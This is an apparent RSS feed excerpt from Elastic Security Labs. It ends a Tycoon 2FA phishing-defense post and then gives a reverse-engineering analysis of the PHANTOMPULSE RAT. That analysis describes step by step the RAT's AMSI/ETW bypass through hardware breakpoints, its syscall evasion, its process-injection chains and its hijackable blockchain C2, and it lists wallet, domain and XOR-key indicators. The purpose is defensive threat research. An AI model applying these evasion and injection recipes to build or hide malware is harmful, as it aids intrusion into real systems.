<li>Opens a Kibana case populated with the alert context for post-IR audit (password reset, auth method review, OAuth grant audit).</li>
</ol>
<p>The chain executes in less than 10 seconds end-to-end against Microsoft Graph, well inside the 10-20 minute Tycoon 2FA handoff window. The operator-tier session never gets a chance to begin recon.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image9.png" alt="Account disabled and all associated refresh tokens and devices invalidated." title="Account disabled and all associated refresh tokens and devices invalidated." /></p>
<p>The pattern scales beyond this one rule. The same workflow shape works for any cloud-identity detection that benefits from immediate containment: AiTM sign-ins, impossible travel, illicit OAuth consent grants, role escalation, MFA fatigue, anomalous device registration. Wire the rule to a workflow that calls the relevant cloud API and the SOC gets seconds-level containment.</p>
<h2>Defending against Tycoon 2FA AiTM attacks</h2>
<ul>
<li>Deploy phishing-resistant MFA: FIDO2 security keys and passkeys are the only methods immune to AiTM session theft. TOTP, SMS, and push-based MFA can all be proxied.</li>
<li>Enforce device compliance via Conditional Access: Require managed, compliant devices for token issuance. This is the single most effective control against AiTM token theft.</li>
<li>Block device code flows: The <code>Block device code flow</code> Conditional Access policy cleanly rejects the kit relay at the grant phase (error 53003). Enable it for all users except explicitly approved kiosk/headless scenarios.</li>
<li>Enable token protection (token binding): <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection">Binds</a> tokens to the device they were issued to. A stolen token replayed from a different device is rejected.</li>
<li>Enable Continuous Access Evaluation (CAE): Near real-time token revocation when risk conditions change.</li>
<li>Enable Security Defaults in Entra ID (only for tenants without custom Conditional Access): rejects legacy authentication such as ROPC and blocks device code flow by default. Enabling Security Defaults disables custom CA policies, so this is not applicable to tenants already running granular CA.</li>
</ul>
<h2>MITRE ATT&amp;CK Mapping</h2>
<table>
<thead>
<tr>
<th align="left">Technique</th>
<th align="left">ID</th>
<th align="left">Observable</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Phishing: Spearphishing Link</td>
<td align="left">T1566.002</td>
<td align="left">Lure emails with embedded links, QR codes, PDF/SVG/HTML attachments</td>
</tr>
<tr>
<td align="left">Steal Web Session Cookie</td>
<td align="left">T1539</td>
<td align="left">AiTM proxy captures post-MFA session tokens</td>
</tr>
<tr>
<td align="left">Valid Accounts: Cloud Accounts</td>
<td align="left">T1078.004</td>
<td align="left">Stolen tokens used for Graph API access and M365 web app browsing</td>
</tr>
<tr>
<td align="left">Account Manipulation: Device Registration</td>
<td align="left">T1098.005</td>
<td align="left">Kit registers device for PRT persistence</td>
</tr>
<tr>
<td align="left">Use Alternate Authentication Material: Application Access Token</td>
<td align="left">T1550.001</td>
<td align="left">FOCI token exchange across Auth Broker app family</td>
</tr>
<tr>
<td align="left">Account Discovery: Cloud Account</td>
<td align="left">T1087.004</td>
<td align="left">Graph enumeration of user profile, role memberships, contacts</td>
</tr>
<tr>
<td align="left">Permission Groups Discovery: Cloud</td>
<td align="left">T1069.003</td>
<td align="left">Enumerating directory roles and transitive role assignments</td>
</tr>
<tr>
<td align="left">Cloud Service Discovery</td>
<td align="left">T1526</td>
<td align="left">Listing subscribedSkus, organization metadata, app inventory</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2026/03/04/inside-tycoon2fa-how-a-leading-aitm-phishing-kit-operated-at-scale/">Microsoft Security Blog - Inside Tycoon2FA: How a leading AiTM phishing kit operated at scale</a> (March 2026)</li>
<li><a href="https://any.run/malware-trends/tycoon/">Tycoon 2FA Malware Analysis, Overview by ANY.RUN</a></li>
<li><a href="https://www.cloudflare.com/threat-intelligence/research/report/tycoon-2fa-takedown/">Cloudflare - <em>Tycoon 2FA Takedown</em></a> (March 2026)</li>
<li><a href="https://spycloud.com/blog/tycoon-2fa-takedown-inside-the-global-phishing-infrastructure-disruption/">SpyCloud - <em>Tycoon 2FA Takedown</em></a><em>: Inside the Global Phishing Infrastructure Disruption</em> (March 2026)</li>
<li><a href="https://www.esentire.com/blog/tycoon-2fa-operators-adopt-oauth-device-code-phishing">eSentire - <em>Tycoon 2FA Operators Adopt OAuth Device Code Phishing</em></a> (May 2026)</li>
<li><a href="https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/">Sekoia - <em>Tycoon 2FA: an in-depth analysis of the latest version of the AiTM phishing kit</em></a> (March 2024)</li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/tycoon-2fa-aitm-detection-engineering.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[PHANTOMPULSE: anatomy of a hijackable blockchain-C2 RAT]]></title>
            <link>https://www.elastic.co/fr/security-labs/blockchain-c2-phantompulse-rat-sinkhole</link>
            <guid>blockchain-c2-phantompulse-rat-sinkhole</guid>
            <pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs presents a detailed reverse-engineering analysis of PHANTOMPULSE, the long-lived RAT delivered to crypto-sector victims through the REF6598 intrusion set.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security Labs's prior coverage of <a href="https://www.elastic.co/fr/security-labs/phantom-in-the-vault">REF6598</a> documented an intrusion set whose Windows toolchain landed via Obsidian plugin abuse, escalated via an in-memory PE loader (PHANTOMPULL), and finished with a RAT (PHANTOMPULSE). That post focused on delivery. This post analyzes the final stage: PHANTOMPULSE, an implant that ships three process-injection techniques, resolves its C2 through Ethereum/Base/Optimism transaction inputs, and bypasses UAC via the public <code>schuac</code> technique. The analysis surfaces a sinkhole-able blockchain C2 channel, a unified hardware-breakpoint primitive that disables AMSI / WLDP / ETW and pervasive AI-assisted-development fingerprints in the implant's debug strings.</p>
<h2>Key takeaways</h2>
<ul>
<li>PHANTOMPULSE implements three injection techniques adapted from recent public offensive-security PoCs.</li>
<li>AMSI, WLDP, and ETW are bypassed via a single shared HWBP primitive</li>
<li>The blockchain C2 resolver has <strong>no sender verification</strong>, allowing a defender to override the C2 URL for every implant by posting a single transaction</li>
<li>Strong AI-assisted-development indicators present in the binary</li>
</ul>
<h2>A note on AI-assisted development</h2>
<p>PHANTOMPULSE bears strong fingerprints of AI coding assistance, visible throughout the debug strings.</p>
<p>The clearest tells:</p>
<ul>
<li><strong>Structured step numbering</strong> in operational logs: <code>[STEP 1] Staged mode — payload downloaded from C2 at runtime</code>, <code>[STEP 1/3] Scheduled Task (DotNetSvcUpdateTask, logon + every 3 min)</code>, <code>[STEP 2/3] Boot Task (DotNetSvcCoreTask, INTERACTIVE_TOKEN + BootTrigger)</code>, <code>[UNINSTALL 4/6] Removing persist_loader DLL + registry PE data...</code>, <code>[REPAIR] Reinstalling boot task (INTERACTIVE_TOKEN)...</code>.</li>
<li><strong>ENTER/DONE function tracing</strong>: <code>&quot;[HEIS] encrypt_text_only ENTER&quot;</code> / <code>&quot;[HEIS] encrypt_text_only DONE&quot;</code>, <code>&quot;KeylogResolveAPIs: ENTER&quot;</code>. The diagnostic style LLMs default to when generating new functions.</li>
<li><strong>Verbose diagnostics</strong>: <code>&quot;FindHostProcessEx: scan stats: total=%lu sessSkip=%lu openFail=%lu native=%lu wow64=%lu mapReject=%lu dbgReject=%lu sess=%lu&quot;</code>, <code>&quot;ManualMap: thread hijacked and resumed — DLL injection via thread hijack complete&quot;</code>. Self-explanatory output, unusually talkative for malware.</li>
<li><strong>Em dashes in C strings</strong>: <code>&quot;elevate: FAIL — no deployed DLL path&quot;</code>, <code>&quot;&gt;&gt;&gt; .elevate: NOT proxy — spawning trusted host to handle elevation&quot;</code>.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image26.png" alt="AI generated strings in the binary" /></p>
<h2>Execution chain</h2>
<p><code>MainEntryLogic</code> is the orchestration function that runs the full initialization sequence before entering the C2 loop:</p>
<pre><code class="language-text">start
 └─ WinMain
     └─ MainEntryLogic
         1. DynInit                // Bootstrap API resolution
         2. ElevationStateCheck    // &quot;.elevate&quot; marker detection, routes by token elevation state
         3. SingleInstanceCheck    // XOR-decrypted mutex, exit if already running
         4. EvasionInit            // Direct syscalls + ETW HWBP
         5. SyscallResolverInit    // CPUID + hash-based kernel32 resolution
         6. SleepMaskInit          // Sleep obfuscation setup
         7. ComputeMachineID       // DJB2(module name) ^ volume serial
         8. IsRunningHollowed      // Process hollowing self-check
         9. CollectSysInfo         // CPU, GPU, RAM, OS, AV, apps
        10. FilelessPersist        // Drop stub DLL, registry artifact
        11. InstallPersistence     // Three scheduled tasks via COM ITaskService
        12. C2Loop_Init → C2Loop_Main
</code></pre>
<p>At startup, the implant DJB2-hashes the user name and computer name and looks each up in a precomputed table. A match exits the process. Brute-forcing the table against public anti-sandbox wordlists recovered 20 of the 61 entries: <code>WDAGUtilityAccount</code> (Windows Defender Application Guard), several <code>DESKTOP-XXXXXXX</code> default-VM names, and the <a href="https://gist.github.com/0x-Apollyon/04b30400b51136a19c739a8ec4dc95d5">Joe Sandbox personas</a> (<code>abby</code>, <code>patex</code>, <code>george</code>, <code>john</code>, <code>lisa</code>, <code>frank</code>, <code>RDhJ0CNFevzX</code>).</p>
<h2>Defense evasion</h2>
<h3>Direct syscalls and API wrappers</h3>
<p>PHANTOMPULSE resolves ntdll functions by walking <code>PEB→Ldr</code> with DJB2 hashes, extracts System Service Numbers (SSNs) from each NT function's prologue, and builds private syscall stubs. These stubs are wrapped in higher-level helpers used throughout the rest of the implant:</p>
<ul>
<li><code>NtCreateFile_Wrap</code></li>
<li><code>NtWriteFile_Wrap</code></li>
<li><code>NtClose_Wrap</code></li>
<li><code>NtCreateSection_Wrap</code></li>
<li><code>NtMapViewOfSection_Wrap</code></li>
<li><code>NtProtectVirtualMemory_Wrap</code></li>
<li><code>NtWriteVirtualMemory_Wrap</code></li>
</ul>
<p>The rest of the implant calls these wrappers instead of <code>kernel32</code>/<code>ntdll</code> exports, defeating user-mode <code>ntdll</code> hooks (IAT replacements, inline detours, or trampoline patches) that EDR products inject into the documented API surface.</p>
<p>A single helper function routes every disk write through <code>NtCreateFile</code> + <code>NtWriteFile</code> directly, with delete-and-retry on access errors.</p>
<h3>String and config obfuscation</h3>
<p>PHANTOMPULSE uses four XOR layers for different artifacts:</p>
<table>
<thead>
<tr>
<th>What</th>
<th>Key</th>
<th>Where the key lives</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2 fallback URL, mutex, drop-path filenames</td>
<td>16-byte: <code>F7 7C 8E 40 DF C1 7B E5 E7 4D 86 79 D5 B3 53 41</code></td>
<td>Embedded in <code>.rdata</code></td>
</tr>
<tr>
<td>Blockchain provider hostnames (UTF-16 LE)</td>
<td>8-byte: <code>5A 3C 7E 1D 9F 2B 4E 8A</code></td>
<td>Embedded in <code>.rdata</code></td>
</tr>
<tr>
<td>COM Elevation Moniker, keylog file payload</td>
<td><code>0xE95CA237</code>, computed at runtime to keep the constant out of <code>.rdata</code></td>
<td>Computed, not stored</td>
</tr>
<tr>
<td>C2 URL pulled from blockchain transaction <code>input</code></td>
<td>The resolver wallet address itself</td>
<td>Reused from the public lookup key</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image13.png" alt="String dexoring stub" /></p>
<h3>AMSI, WLDP, and ETW bypass via hardware breakpoints</h3>
<p>PHANTOMPULSE disables AMSI, the Windows Lockdown Policy code-trust check, and ETW telemetry through a single shared primitive: a hardware breakpoint planted on each API entry, intercepted by a vectored exception handler that fakes the return value without inline patching.</p>
<table>
<thead>
<tr>
<th>Slot</th>
<th>Target API</th>
<th>Spoofed return (RAX)</th>
</tr>
</thead>
<tbody>
<tr>
<td>DR0</td>
<td><code>WldpQueryDynamicCodeTrust</code></td>
<td><code>0</code> (<code>S_OK</code>)</td>
</tr>
<tr>
<td>DR1</td>
<td><code>AmsiScanBuffer</code></td>
<td><code>0x80070057</code> (<code>E_INVALIDARG</code>)</td>
</tr>
<tr>
<td>DR2</td>
<td><code>EtwEventWrite</code></td>
<td><code>0</code> (<code>STATUS_SUCCESS</code>)</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image22.png" alt="Hardware breakpoint setup function" /></p>
<p>The mechanism, step by step:</p>
<ol>
<li>The implant resolves the target API. AMSI and WLDP go through <code>LoadLibraryA</code> + hash-based export lookup; ETW uses a PEB→Ldr walk since ntdll is already loaded.</li>
<li>The HWBP descriptor (target API address, mode, spoofed return value) is written into one of four 40-byte slots in a global slot table.</li>
<li>A helper thread suspends the target thread, calls <code>NtGetContextThread</code> / <code>NtSetContextThread</code> to write DR0–DR3 + DR7, then resumes. (If the implant's vectored exception handler is already installed, an in-process <code>STATUS_BREAKPOINT</code> is raised instead, letting the VEH read the slot table and program the DRs without a helper thread.)</li>
<li>When the protected API is called, the CPU raises <code>Debug Exception</code> on the function's first instruction.</li>
<li>The implant's vectored exception handler intercepts the <code>Debug Exception</code>, walks its 4-slot table to find the firing address, and modifies the thread context: <code>CONTEXT.Rax</code> is set to the per-slot spoofed return value, <code>CONTEXT.Rip</code> is redirected to a pre-stored &quot;skip&quot; thunk that returns to the caller.</li>
<li>The handler returns <code>EXCEPTION_CONTINUE_EXECUTION</code>. The caller sees the spoofed RAX as if the API had run.</li>
</ol>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image11.png" alt="Exception handler: BREAKPOINT STATUS" /></p>
<p>The dispatcher serves two paths. One handler (<code>VEH_Dispatcher</code>) processes both the implant's own <code>RaiseException(STATUS_BREAKPOINT)</code> calls (used to seed and re-program the DR registers from the slot table) and the <code>STATUS_SINGLE_STEP</code> exceptions that fire when a protected API is called. The exception code drives the branch: <code>STATUS_BREAKPOINT</code> triggers DR programming, <code>STATUS_SINGLE_STEP</code> triggers the spoof.</p>
<p>The handler is also not registered directly. <code>AddVectoredExceptionHandler</code> receives a tiny JMP thunk allocated at runtime in a fresh <code>MEM_PRIVATE</code> page (<code>VirtualAlloc</code> + <code>VirtualProtect</code> to <code>PAGE_EXECUTE_READ</code>). The thunk is a <code>JMP [RIP-relative]</code> indirect jump (6-byte opcode <code>FF 25 00 00 00 00</code>) followed inline by the dispatcher's address. Because no bytes are ever written to <code>AmsiScanBuffer</code>, <code>WldpQueryDynamicCodeTrust</code>, or <code>EtwEventWrite</code>, signature-based detection that scans for prologue patches misses this entirely.</p>
<h3>Build variant: active and dormant subsystems</h3>
<p>Several subsystems exist in the binary as code or strings, but are not active in this build. This is a stripped-down build of a larger codebase.</p>
<ul>
<li><strong>NTDLL unhooking</strong>: Debug strings for an unhooking subsystem live in <code>.rdata</code> (<code>UnhookNtdll: ntdll base = %p</code>, <code>applied %d relocation fixups to .text</code>), but nothing references them. Dead in this variant.</li>
<li><strong>Registry-resident PE blob loader</strong>: earlier builds stored the next-stage PE inside the registry. This build does not, but the uninstall routine still cleans up the legacy registry blob.</li>
<li><strong>COM hijack persistence</strong>: never installed by this build. Cleanup logic for it remains in the uninstall routine.</li>
<li><strong>Print monitor persistence</strong>: same pattern as COM hijack; install path absent, uninstall path retained.</li>
</ul>
<p>The last three (registry blob loader, COM hijack, print monitor) show the opposite pattern: cleanup logic with no install logic, retained for backward compatibility against older deployments.</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>payloads build</th>
<th>Evidence</th>
</tr>
</thead>
<tbody>
<tr>
<td>Direct syscalls (SSN extraction)</td>
<td>Active</td>
<td>SSN extraction + stub generation confirmed</td>
</tr>
<tr>
<td>AMSI / WLDP / ETW HWBP bypass</td>
<td>Active</td>
<td><code>DR0</code>/<code>DR1</code>/<code>DR2</code> via shared helper-thread primitive</td>
</tr>
<tr>
<td>Three-way process injection</td>
<td>Active</td>
<td><code>PhantomInject</code>, <code>DbgNexum</code>, <code>ManualMap</code> are all functional</td>
</tr>
<tr>
<td>Blockchain C2 resolution</td>
<td>Active</td>
<td>Three Blockscout providers queried</td>
</tr>
<tr>
<td>NTDLL unhooking</td>
<td><strong>Dead code</strong></td>
<td>Strings present, zero code references</td>
</tr>
<tr>
<td>HEIS encryption</td>
<td><strong>Disabled</strong></td>
<td>Code encrypt/decrypt stubbed</td>
</tr>
<tr>
<td>Registry-resident PE blob loader</td>
<td><strong>Legacy only</strong></td>
<td>Only cleaned during uninstall</td>
</tr>
<tr>
<td>COM hijack persistence</td>
<td>Legacy only</td>
<td>Cleaned during uninstall, never installed</td>
</tr>
<tr>
<td>Print monitor persistence</td>
<td>Legacy only</td>
<td>Cleaned during uninstall, never installed</td>
</tr>
<tr>
<td>Decoy strings</td>
<td>Active</td>
<td>4 unreferenced decoy strings in <code>.rdata</code></td>
</tr>
</tbody>
</table>
<h2>Command and control</h2>
<h3>Blockchain C2 resolution</h3>
<p>PHANTOMPULSE decentralizes C2 lookup through three Blockscout providers:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)</li>
<li><code>base.blockscout[.]com</code> (Base L2)</li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>The wallet address <code>0xc117688c530b660e15085bF3A2B664117d8672aA</code> is XOR-decrypted from storage with a 16-byte key. For each provider, the implant issues an HTTPS GET (port 443, SSL cert errors ignored), pulls the <code>input</code> field of the latest transaction, hex-decodes it, XOR-decrypts with the wallet address bytes as the key, and validates that the result begins with <code>http</code>. On total failure, it falls back to the hardcoded URL <code>https://panel.fefea22134[.]net</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image16.png" alt="C2 dexoring/decoding validation part 1" /></p>
<p>The resolver does not verify the sender of the transaction. It only checks that the latest decoded <code>input</code> starts with <code>http</code>. Anyone can submit a transaction to that wallet with their own URL XOR-encoded under the wallet bytes, and every PHANTOMPULSE instance of that campaign that polls afterward resolves to that URL. For network defenders, this is a viable sinkhole at the cost of one transaction.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image24.png" alt="C2 dexoring/decoding validation part 2" /></p>
<h3>Endpoints and heartbeat</h3>
<p>Five API paths are constructed at runtime, re-encrypted in memory with a per-session key:</p>
<table>
<thead>
<tr>
<th>Path</th>
<th>Method</th>
<th>Content-Type</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/v1/telemetry/report</code></td>
<td>POST</td>
<td><code>application/json</code></td>
<td>Heartbeat with full system telemetry</td>
</tr>
<tr>
<td><code>/v1/telemetry/tasks/&lt;machine_id&gt;</code></td>
<td>GET</td>
<td></td>
<td>Command fetch</td>
</tr>
<tr>
<td><code>/v1/telemetry/upload/</code></td>
<td>POST</td>
<td><code>image/bmp</code></td>
<td>Screenshot / file upload</td>
</tr>
<tr>
<td><code>/v1/telemetry/result</code></td>
<td>POST</td>
<td><code>application/json</code></td>
<td>Command result delivery</td>
</tr>
<tr>
<td><code>/v1/telemetry/keylog/</code></td>
<td>POST</td>
<td><code>text/plain</code></td>
<td>Keylog data upload</td>
</tr>
</tbody>
</table>
<p>The heartbeat sends a full system profile as JSON:</p>
<pre><code class="language-json">{
  &quot;machine_id&quot;: &quot;&lt;uint32&gt;&quot;,
  &quot;status&quot;: &quot;online&quot;,
  &quot;cpu&quot;: &quot;&lt;model&gt;&quot;,
  &quot;gpu&quot;: &quot;&lt;description&gt;&quot;,
  &quot;ram_mb&quot;: &quot;&lt;uint32&gt;&quot;,
  &quot;os&quot;: &quot;&lt;version&gt;&quot;,
  &quot;username&quot;: &quot;&lt;user&gt;&quot;,
  &quot;computer_name&quot;: &quot;&lt;name&gt;&quot;,
  &quot;cores&quot;: &quot;&lt;uint32&gt;&quot;,
  &quot;screen_w&quot;: &quot;&lt;int&gt;&quot;,
  &quot;screen_h&quot;: &quot;&lt;int&gt;&quot;,
  &quot;privilege&quot;: &quot;&lt;user|admin|admin_nouac|system&gt;&quot;,
  &quot;build&quot;: &quot;payloads&quot;,
  &quot;public_ip&quot;: &quot;&lt;ip&gt;&quot;,
  &quot;av_list&quot;: [&quot;&lt;av1&gt;&quot;, &quot;&lt;av2&gt;&quot;],
  &quot;apps&quot;: [&quot;&lt;app1&gt;&quot;, &quot;&lt;app2&gt;&quot;],
  &quot;last_cmd&quot;: &quot;&lt;cmd&gt;&quot;,
  &quot;last_cmd_result&quot;: &quot;&lt;result&gt;&quot;
}
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image12.png" alt="Building heartbeat JSON document" /></p>
<p>Two response fields are parsed: <code>&quot;status&quot;:&quot;deleted&quot;</code> triggers full uninstall; <code>&quot;ip&quot;:&quot;&lt;value&gt;&quot;</code> populates the public-IP cache, but only if local discovery (ipif[.]org / icanhazip[.]com/ checkip.amazonaws[.]com) hasn't already filled it.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image2.png" alt="Parsing heartbeat response" /></p>
<h3>Loop cadence and resilience</h3>
<ul>
<li><strong>Sleep</strong>: uniform random in [20, 40] seconds</li>
<li><strong>Self-healing</strong>: runs at iteration 2, then every 10th iteration</li>
<li><strong>Health-monitor tick</strong>: first call after the implant comes online, then every 5th iteration thereafter. Populates a local system-info struct (CPU%, RAM, OS version, uptime, computer name).</li>
<li><strong>Failure threshold</strong>: 10 consecutive heartbeat failures trigger a self-restart for stuck SSL/TLS recovery</li>
<li><strong>Re-resolution</strong>: on failure, blockchain re-resolution runs; if the resolved URL changes, the failure counter resets</li>
<li><strong>Public IP</strong>: <code>api4.ipify[.]org</code> → <code>ipv4.icanhazip[.]com</code> → <code>checkip.amazonaws[.]com</code></li>
<li><strong>Connectivity check</strong>: probes <code>microsoft[.]com</code>, <code>google[.]com</code>, <code>cloudflare[.]com</code>, <code>github[.]com</code></li>
</ul>
<h2>Command dispatch</h2>
<p>The command dispatcher routes commands by DJB2 hash. Eight commands total:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image25.png" alt="Command dispatch function" /></p>
<table>
<thead>
<tr>
<th>Hash</th>
<th>Command</th>
<th>Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0x04CF1142</code></td>
<td><code>inject</code></td>
<td>Inject shellcode/DLL/EXE. Routes by type: shellcode → <code>PhantomInject</code>; DLL → <code>ManualMap</code>; EXE → <code>DbgNexum</code>. The AMSI and WLDP HWBP bypasses are installed on the first <code>inject</code> call (the ETW HWBP is already in place from <code>EvasionInit</code>).</td>
</tr>
<tr>
<td><code>0x7C95D91A</code></td>
<td><code>drop</code></td>
<td>Drop the file to the disk and execute. Supports DLL, EXE, shellcode (APC injection), and MSI payloads.</td>
</tr>
<tr>
<td><code>0x9A37F083</code></td>
<td><code>screenshot</code></td>
<td>GDI capture, downscale to 960px wide, upload as BMP.</td>
</tr>
<tr>
<td><code>0x08DEDEF0</code></td>
<td><code>keylog</code></td>
<td>Start or stop the inline keylogger.</td>
</tr>
<tr>
<td><code>0x4EE251FF</code></td>
<td><code>uninstall</code></td>
<td>6-step cleanup and termination.</td>
</tr>
<tr>
<td><code>0x65CCC50B</code></td>
<td><code>elevate</code></td>
<td>UAC bypass via the <code>schuac</code> technique (<code>IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)</code>); registers a transient elevated task that relaunches the implant.</td>
</tr>
<tr>
<td><code>0xB3B5B880</code></td>
<td><code>downgrade</code></td>
<td>SYSTEM → elevated admin transition.</td>
</tr>
<tr>
<td><code>0x20CE3BC8</code></td>
<td>(self-restart)</td>
<td>Cascading self-terminate: <code>NtTerminateProcess(-1, 0)</code> direct syscall first; if that fails to resolve, falls back to <code>ExitProcess(0)</code>. Persistence relaunches the implant on the next scheduled task tick. Operationally equivalent to a soft restart.</td>
</tr>
</tbody>
</table>
<p>The eighth handler has no debug log naming it. It self-terminates; the scheduled task relaunches the implant on the next tick. The lack of LLM-style scaffolding (debug strings) makes this one of the few handlers in the binary that appears to be added by the human author rather than LLM-generated.</p>
<h2>Injection techniques</h2>
<p>PHANTOMPULSE ships three injection techniques, one per payload type. The <code>inject</code> C2 command routes shellcode to <code>PhantomInject</code>, DLLs to <code>ManualMap</code>, and EXEs to <code>DbgNexum</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image6.png" alt="Inject command switch case" /></p>
<p>The AMSI/WLDP hardware-breakpoint bypasses are installed on the first <code>inject</code> call, before any injector runs.</p>
<table>
<thead>
<tr>
<th>Payload type</th>
<th>Injector</th>
<th>Strategy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shellcode</td>
<td>PhantomInject</td>
<td>Module stomping in <code>dbghelp.dll</code> via <code>SEC_IMAGE</code></td>
</tr>
<tr>
<td>EXE</td>
<td>DbgNexum</td>
<td>Debug-API state machine</td>
</tr>
<tr>
<td>DLL</td>
<td>ManualMap</td>
<td>Full PE manual mapping</td>
</tr>
</tbody>
</table>
<h3>PhantomInject: module stomping into dbghelp.dll</h3>
<p>Module stomping avoids <code>MEM_PRIVATE</code> allocation by mapping a legitimate Windows DLL as <code>SEC_IMAGE</code> and overwriting <code>.text</code>:</p>
<ol>
<li>
<p>Acquires <code>SeDebugPrivilege</code> (via <code>OpenProcessToken</code> / <code>LookupPrivilegeValueW</code> / <code>AdjustTokenPrivileges</code>), then walks the process snapshot for one of seven host-process candidates (case-insensitive match). Tried in priority order: <code>sihost.exe</code>, <code>taskhostw.exe</code>, <code>backgroundTaskHost.exe</code>, <code>RuntimeBroker.exe</code>, <code>dllhost.exe</code>, <code>ctfmon.exe</code>, <code>explorer.exe</code>.</p>
</li>
<li>
<p>Opens <code>dbghelp.dll</code> via <code>NtOpenFile</code>, creates <code>SEC_IMAGE</code> section, maps into target via <code>NtMapViewOfSection</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png" alt="PhantomInject dll stomping" /></p>
</li>
<li>
<p>Parses the local copy for <code>.text</code> RVA and size, then frees it</p>
</li>
<li>
<p>Selects and suspends a thread, captures context</p>
</li>
<li>
<p>Builds an <a href="https://gist.github.com/soolidsnake/f5cc038aa919db19658dfe4430a62114"><strong>82-byte save-call-restore trampoline</strong></a></p>
</li>
<li>
<p>Writes shellcode + trampoline into <code>.text</code> of the mapped DLL</p>
</li>
<li>
<p>Flips protection to <code>PAGE_EXECUTE_READ</code></p>
</li>
<li>
<p>Repoints RIP to the trampoline, resumes thread</p>
</li>
</ol>
<p>To a memory scanner, the result looks like a thread executing inside legitimate <code>dbghelp.dll</code>, a file-backed image region with the right file path, section name, and first-page hash.</p>
<h3>DbgNexum: debug API as an execution controller</h3>
<p>DbgNexum handles EXE payloads. Rather than writing executable code into the target up front, it uses the Windows debug API to drive execution one exception at a time: a ROP chain whose gadgets are full Windows APIs in the target.</p>
<p>The technique is not original to PHANTOMPULSE. It is a verbatim lift of <a href="https://github.com/dis0rder0x00/DbgNexum"><code>dis0rder0x00/DbgNexum</code></a>, a public proof of concept published on GitHub on 2026-01-04. The operator kept the published technique name (<code>&quot;DbgNexum&quot;</code>) in the implant's debug strings unchanged, and the inner state machine is a 1:1 match: the same bait API, section name, gadget chain, and constants. PHANTOMPULSE wraps the lifted x64 core with operational scaffolding the PoC does not have: host-process selection (<code>FindHostProcessEx</code>), a fallback that spawns a fresh <code>SysWOW64\cmd.exe</code> / <code>rundll32.exe</code> / <code>notepad.exe</code>, a custom PE-loading bootstrap (so it can carry full EXEs instead of raw shellcode), and a separate WoW64 cross-architecture variant.</p>
<p>For native x64 payloads, the implant pre-stages the PE, the bootstrap stub, and the trampoline config inside a named file-mapping section. The section name is the literal two-byte string <code>&quot;MZ&quot;</code>, the implant attaches with <code>DebugActiveProcess</code> and creates a remote thread on <code>FileTimeToSystemTime</code> with a hardware breakpoint on DR0.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image23.png" alt="DbgNexum creates file mapping" /></p>
<p>When the bait hits the breakpoint, a state machine drives the target through this API chain:</p>
<ol>
<li>Redirect <code>RIP</code> to <code>DbgBreakPoint+1</code> with the trap flag set; the resulting single-step exception bridges into the rest of the chain.</li>
<li><code>LocalAlloc(LMEM_ZEROINIT, 3)</code>, allocate the 3-byte name buffer.</li>
<li><code>memcpy(buf, kernel32_base, 2)</code>, copy <code>&quot;MZ&quot;</code> from <code>kernel32.dll</code>'s DOS header into the buffer.</li>
<li><code>memset(stack+40, 0, 8)</code>: zero a stack arg slot.</li>
<li><code>OpenFileMappingA(0x1F, FALSE, &quot;MZ&quot;)</code>, open the prepared section with full section-mapping access.</li>
<li><code>MapViewOfFile(...)</code>,  map it into the target.</li>
<li>Redirect <code>RIP</code> to <code>mapped_base + 0x400</code>, the bootstrap stub. This is the only stage logged directly: <code>DbgNexumLoop64: stage 6 -&gt; stub at %llx, base=%llx</code>. (The PoC redirects to <code>mapped_base + 0</code> for raw shellcode; PHANTOMPULSE adds the <code>+0x400</code> offset to land on its custom PE loader.)</li>
</ol>
